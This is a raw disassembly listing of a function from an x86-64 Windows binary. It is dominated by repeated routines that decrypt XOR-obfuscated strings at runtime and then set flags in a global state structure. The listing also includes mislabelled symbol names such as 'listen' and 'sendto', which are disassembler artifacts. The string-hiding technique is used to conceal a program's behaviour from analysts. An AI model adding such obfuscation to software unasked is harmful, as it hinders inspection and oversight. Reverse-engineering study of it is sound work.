shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm3, xmm0
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, ecx
paddb xmm3, xmm0
movd xmm1, dword [rsp + 0x6c]
xorps xmm3, xmm1
movd dword [rsp + 0x6c], xmm3
jmp 0x14004c5d2
lea r9, [rsp + 0x60]
nop
mov eax, 0x1f7047dd
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x14004c5a0
movdqa xmm0, xmmword [0x1400efee0]
movups xmmword [rsp + 0x50], xmm0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x50]
call fcn.14003cc70
movsd xmm0, qword [0x1400ee828]
movsd qword [rsp + 0x60], xmm0
mov ecx, dword [0x1400ee830]
mov dword [rsp + 0x68], ecx
movzx eax, word [0x1400ee834]
mov word [rsp + 0x6c], ax
cmp byte [0x1400ee835], bl
je 0x14004c7b3
mov r8d, ebx
cmp esi, 2
jl 0x14004c770
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm8
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm14
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [0x1400ee828]
xorps xmm1, xmm0
movd dword [rsp + 0x60], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm8
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm7
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x64]
xorps xmm2, xmm1
movd dword [rsp + 0x64], xmm2
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm8
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm13
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm13
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, ecx
xorps xmm2, xmm1
movd dword [rsp + 0x68], xmm2
mov r8d, listen
mov eax, r8d
lea r9, [rsp + 0x60]
add r9, rax
nop dword [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x14004c780
lea rcx, [rsp + 0x60]
call fcn.14003cc00
movsd xmm0, qword [0x1400ee858]
movsd qword [rsp + 0x60], xmm0
movzx eax, word [0x1400ee860]
movaps xmm1, xmm9
movaps xmm0, xmm12
movzx edx, byte [0x1400ee862]
mov word [rsp + 0x68], ax
call fcn.14001ea50
mov byte [rsp + 0x60], reloc.WLDAP32.dll_Ordinal_50
xor byte [rsp + 0x61], 0x32
xor byte [rsp + 0x62], 0x33
xor byte [rsp + 0x63], 0x34
xor byte [rsp + 0x64], 0x35
xor byte [rsp + 0x65], 0x36
xor byte [rsp + 0x66], 0x37
xor byte [rsp + 0x67], 0x38
xor byte [rsp + 0x68], 0x39
xor byte [rsp + 0x69], 0x3a
xor dl, 0x3b
mov byte [rsp + 0x6a], dl
lea rcx, [rsp + 0x60]
call fcn.14003cc00
movsd xmm0, qword [str.gWAGYY]
movsd qword [rsp + 0x60], xmm0
movzx eax, word [0x1400ee808]
mov word [rsp + 0x68], ax
cmp byte [0x1400ee809], bl
je 0x14004c882
mov byte [rsp + 0x60], 0x56
xor byte [rsp + 0x61], 0x32
xor byte [rsp + 0x62], 0x33
xor byte [rsp + 0x63], 0x34
xor byte [rsp + 0x64], 0x35
xor byte [rsp + 0x65], 0x36
xor byte [rsp + 0x66], 0x37
xor byte [rsp + 0x67], 0x38
xor byte [rsp + 0x68], 0x39
xor byte [rsp + 0x69], 0x3a
lea rcx, [rsp + 0x60]
call fcn.14003cc00
movaps xmm1, xmm9
movaps xmm0, xmm12
call fcn.14001ea50
mov edx, dword [0x1400ee8f4]
mov dword [rsp + 0x50], edx
cmp byte [str.4bB_S6], bl
je 0x14004c952
mov r8d, ebx
cmp esi, 2
jl 0x14004c91b
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm8
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm14
movd xmm0, edx
xorps xmm1, xmm0
movd dword [rsp + 0x50], xmm1
jmp 0x14004c952
lea r9, [rsp + 0x50]
mov eax, 0x1f7047dd
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x14004c920
movdqa xmm0, xmmword [0x1400f0080]
movups xmmword [rsp + 0x60], xmm0
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x60]
call fcn.14003cc70
mov rcx, qword [0x1403e73d0]
mov rax, qword [rcx + 0x40a0]
mov byte [rax + 0xcc], 1
mov rax, qword [rcx + 0x40a0]
cmp byte [rax + 0xcf], bl
jne 0x14004c9a5
mov qword [rsp + 0x60], rbx
movaps xmm1, xmm9
lea rcx, [rsp + 0x60]
call fcn.14001e8e0
mov eax, dword [str.SFZV7]
mov dword [rsp + 0x50], eax
movzx eax, word [0x1400ee748]
mov word [rsp + 0x54], ax
movzx eax, byte [0x1400ee74a]
mov dword [rsp + 0x64], 0x41c80000
mov dword [rsp + 0x60], 0x43480000
mov byte [rsp + 0x50], Ordinal_79
xor byte [rsp + 0x51], 0x32
xor byte [rsp + 0x52], 0x33
xor byte [rsp + 0x53], 0x34
xor byte [rsp + 0x54], 0x35
xor byte [rsp + 0x55], 0x36
xor al, 0x37
mov byte [rsp + 0x56], al
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x50]
call fcn.14003d850
test al, al
je 0x14004ca10
mov byte [0x1403e73eb], 1
mov r8, qword [0x1403e73d0]
mov rdx, qword [r8 + 0x40a0]
cmp byte [rdx + 0xcf], bl
jne 0x14004ca4c
mov r8, qword [r8 + 0x4f28]
test r8, r8
je 0x14004ca4c
movsx rax, word [r8 + 0x78]
imul rcx, rax, 0x2c
mov rax, qword [r8 + 8]
test byte [rcx + rax + 4], 8
jne 0x14004ca4c
dec dword [rdx + 0x108]
cmp byte [0x1403e73eb], bl
je 0x14004cb9c
mov rax, qword [str.bB_SSE8]
mov qword [rsp + 0x50], rax
cmp byte [0x1400ee83f], bl
je 0x14004cb92
mov r8d, ebx
cmp esi, 2
jl 0x14004cb51
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm8
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm6
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd eax, xmm14
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x50]
xorps xmm2, xmm1
movd dword [rsp + 0x50], xmm2
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm8
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm7
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x54]
xorps xmm2, xmm1
movd dword [rsp + 0x54], xmm2
jmp 0x14004cb92
lea r9, [rsp + 0x50]
nop word [rax + rax]
mov eax, 0x1f7047dd
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x14004cb60
lea rcx, [rsp + 0x50]
call fcn.14001f610
mov rax, qword [str.bB_SSE8]
mov qword [rsp + 0x50], rax
cmp byte [0x1400ee83f], bl
je 0x14004ccd2
mov r8d, ebx
cmp esi, 2
jl 0x14004cc95
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm8
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm6
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd eax, xmm14
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x50]
xorps xmm2, xmm1
movd dword [rsp + 0x50], xmm2
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm8
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm7
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x54]
xorps xmm2, xmm1
movd dword [rsp + 0x54], xmm2
jmp 0x14004ccd2
lea r9, [rsp + 0x50]
nop word [rax + rax]
mov eax, 0x1f7047dd
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x14004cca0
lea rcx, [rsp + 0x50]
call fcn.14001fc80
test al, al
je 0x14004ce98
mov eax, dword [0x1400ee8f8]
mov dword [rsp + 0x50], eax
movzx eax, word [0x1400ee8fc]
mov word [rsp + 0x54], ax
mov byte [rsp + 0x50], 0x53
xor byte [rsp + 0x51], 0x32
xor byte [rsp + 0x52], 0x33
xor byte [rsp + 0x53], 0x34
xor al, 0x35
mov byte [rsp + 0x54], al
xor byte [rsp + 0x55], 0x36
lea rdx, [0x1403e73ec]
lea rcx, [rsp + 0x50]
call fcn.14003eab0
mov eax, dword [str.rVU_6]
mov dword [rsp + 0x50], eax
movzx eax, word [0x1400ee904]
mov word [rsp + 0x54], ax
mov byte [rsp + 0x50], 0x43
xor byte [rsp + 0x51], 0x32
xor byte [rsp + 0x52], 0x33
xor byte [rsp + 0x53], 0x34
xor al, 0x35
mov byte [rsp + 0x54], al
xor byte [rsp + 0x55], 0x36
lea rdx, [0x1403e73e8]
lea rcx, [rsp + 0x50]
call fcn.14003eab0
mov qword [rsp + 0x60], 0x42f00000
movzx eax, word [0x1400ee89c]
mov word [rsp + 0x50], ax
movzx eax, byte [0x1400ee89e]
mov byte [rsp + 0x50], reloc.WLDAP32.dll_Ordinal_79
xor byte [rsp + 0x51], 0x32
xor al, 0x33
mov byte [rsp + 0x52], al
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x50]
call fcn.14003d850
test al, al
je 0x14004cdce
cmp byte [0x1403e73ec], bl
je 0x14004cdbc
call fcn.14004ada0
mov byte [0x1403e73ea], 1
call fcn.14001fba0
mov byte [0x1403e73eb], bl
mov eax, dword [0x1400ee81c]
mov dword [rsp + 0x50], eax
movzx eax, word [0x1400ee820]
movzx edx, byte [0x1400ee822]
mov word [rsp + 0x54], ax
mov qword [rsp + 0x60], 0x42f00000
movaps xmm1, xmm9
movaps xmm0, xmm12
call fcn.14001ea50
mov byte [rsp + 0x50], 0x43
xor byte [rsp + 0x51], 0x32
xor byte [rsp + 0x52], 0x33
xor byte [rsp + 0x53], 0x34
xor byte [rsp + 0x54], 0x35
xor byte [rsp + 0x55], 0x36
xor dl, 0x37
mov byte [rsp + 0x56], dl
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x50]
call fcn.14003d850
test al, al
je 0x14004ce44
call fcn.14001fba0
mov byte [0x1403e73eb], bl
mov rdi, qword [0x1403e73d0]
mov rcx, qword [rdi + 0x40a0]
cmp qword [rdi + 0x4bd8], rcx
jne 0x14004ce7d
cmp byte [rdi + 0x4c71], bl
je 0x14004ce7d
cmp dword [rdi + 0x4be8], ebx
jne 0x14004ce7d
mov eax, dword [rdi + 0x4c74]
and eax, 0xfffffff2
or eax, 2
mov dword [rdi + 0x4c74], eax
test dword [rcx + 0x14], 0x1000000
je 0x14004ce8d
mov byte [rdi + 0x3ff6], 1
call fcn.14001ab00
mov byte [rdi + 0x3ff6], bl
call fcn.1400468a0
cmp byte [0x1403e73ea], bl
je 0x14004cfec
mov rax, qword [str.bGPWPED8tJGQGXVT9]
mov qword [rsp + 0x50], rax
cmp byte [0x1400ee6ef], bl
je 0x14004cfe2
mov r8d, ebx
cmp esi, 2
jl 0x14004cfa2
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm8
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm6
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd eax, xmm14
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x50]
xorps xmm2, xmm1
movd dword [rsp + 0x50], xmm2
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm8
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm7
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x54]
xorps xmm2, xmm1
movd dword [rsp + 0x54], xmm2
jmp 0x14004cfe2
lea r9, [rsp + 0x50]
nop word [rax + rax]
mov eax, 0x1f7047dd
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x14004cfb0
lea rcx, [rsp + 0x50]
call fcn.14001f610
mov rax, qword [str.bGPWPED8tJGQGXVT9]
mov qword [rsp + 0x50], rax
cmp byte [0x1400ee6ef], bl
je 0x14004d122
mov r8d, ebx
cmp esi, 2
jl 0x14004d0e5
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm8
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm6
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd eax, xmm14
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x50]
xorps xmm2, xmm1
movd dword [rsp + 0x50], xmm2
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm8
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm7
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x54]
xorps xmm2, xmm1
movd dword [rsp + 0x54], xmm2
jmp 0x14004d122
lea r9, [rsp + 0x50]
nop word [rax + rax]
mov eax, 0x1f7047dd
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x14004d0f0
lea rcx, [rsp + 0x50]
call fcn.14001fc80
test al, al
je 0x14004d46a
movups xmm2, xmmword [str.bGPWPEDLVWE]
movups xmmword [rsp + 0x60], xmm2
mov edx, dword [0x1400ee720]
mov dword [rsp + 0x70], edx
movzx eax, word [0x1400ee724]
mov word [rsp + 0x74], ax
movzx eax, byte [0x1400ee726]
mov byte [rsp + 0x76], al
cmp esi, 2
jl 0x14004d37e
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm8
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm6, xmm0
andps xmm6, xmm10
packuswb xmm6, xmm6
packuswb xmm6, xmm6
movd ecx, xmm14
movd xmm0, ecx
paddb xmm6, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm6, xmm0
movd dword [rsp + 0x60], xmm6
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm8
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm7, xmm0
andps xmm7, xmm10
packuswb xmm7, xmm7
packuswb xmm7, xmm7
movd xmm0, ecx
paddb xmm7, xmm0
movd xmm1, dword [rsp + 0x64]
xorps xmm7, xmm1
movd dword [rsp + 0x64], xmm7
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm8
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm13
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm13, xmm0
andps xmm13, xmm10
packuswb xmm13, xmm13
packuswb xmm13, xmm13
movd xmm0, ecx
paddb xmm13, xmm0
movd xmm1, dword [rsp + 0x68]
xorps xmm13, xmm1
movd dword [rsp + 0x68], xmm13
movdqa xmm2, xmmword [0x1400efc90]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x6c]
xorps xmm2, xmm1
movd dword [rsp + 0x6c], xmm2
movdqa xmm3, xmmword [0x1400efca0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm3, xmm0
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, ecx
paddb xmm3, xmm0
movd xmm1, edx
xorps xmm3, xmm1
movd dword [rsp + 0x70], xmm3
mov ebx, reloc.WS2_32.dll_sendto
mov eax, ebx
lea r8, [rsp + 0x60]
add r8, rax
nop dword [rax + rax]
mov eax, 0x8fb823ef
imul ebx
add edx, ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, bl
sub al, cl
add al, 0x31
xor byte [r8], al
inc ebx
lea r8, [r8 + 1]
cmp ebx, 0x17
jl 0x14004d390
lea rcx, [rsp + 0x60]
call fcn.14003cc00
mov qword [rsp + 0x60], 0
movzx eax, word [0x1400ee89c]
mov word [rsp + 0x50], ax
movzx eax, byte [0x1400ee89e]
mov byte [rsp + 0x50], reloc.WLDAP32.dll_Ordinal_79
xor byte [rsp + 0x51], 0x32
xor al, 0x33
mov byte [rsp + 0x52], al
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x50]
call fcn.14003d850
test al, al
je 0x14004d413
mov byte [0x1403e73ea], 0
call fcn.14001fba0
mov rbx, qword [0x1403e73d0]
mov rcx, qword [rbx + 0x40a0]
cmp qword [rbx + 0x4bd8], rcx
jne 0x14004d44e
cmp byte [rbx + 0x4c71], 0
je 0x14004d44e
cmp dword [rbx + 0x4be8], 0
jne 0x14004d44e
mov eax, dword [rbx + 0x4c74]
and eax, 0xfffffff2
or eax, 2
mov dword [rbx + 0x4c74], eax
test dword [rcx + 0x14], 0x1000000
je 0x14004d45e
mov byte [rbx + 0x3ff6], 1
call fcn.14001ab00
mov byte [rbx + 0x3ff6], 0
call fcn.14001ab00
call fcn.14001ab00
nop
mov rcx, qword [rbp + 0x100]
xor rcx, rsp
call fcn.140055510
lea r11, [rsp + 0x2a0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
movaps xmm12, xmmword [r11 - 0x70]
movaps xmm13, xmmword [r11 - 0x80]
movaps xmm14, xmmword [r11 - 0x90]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
call fcn.140049bb0
int3
call fcn.140049b10
int3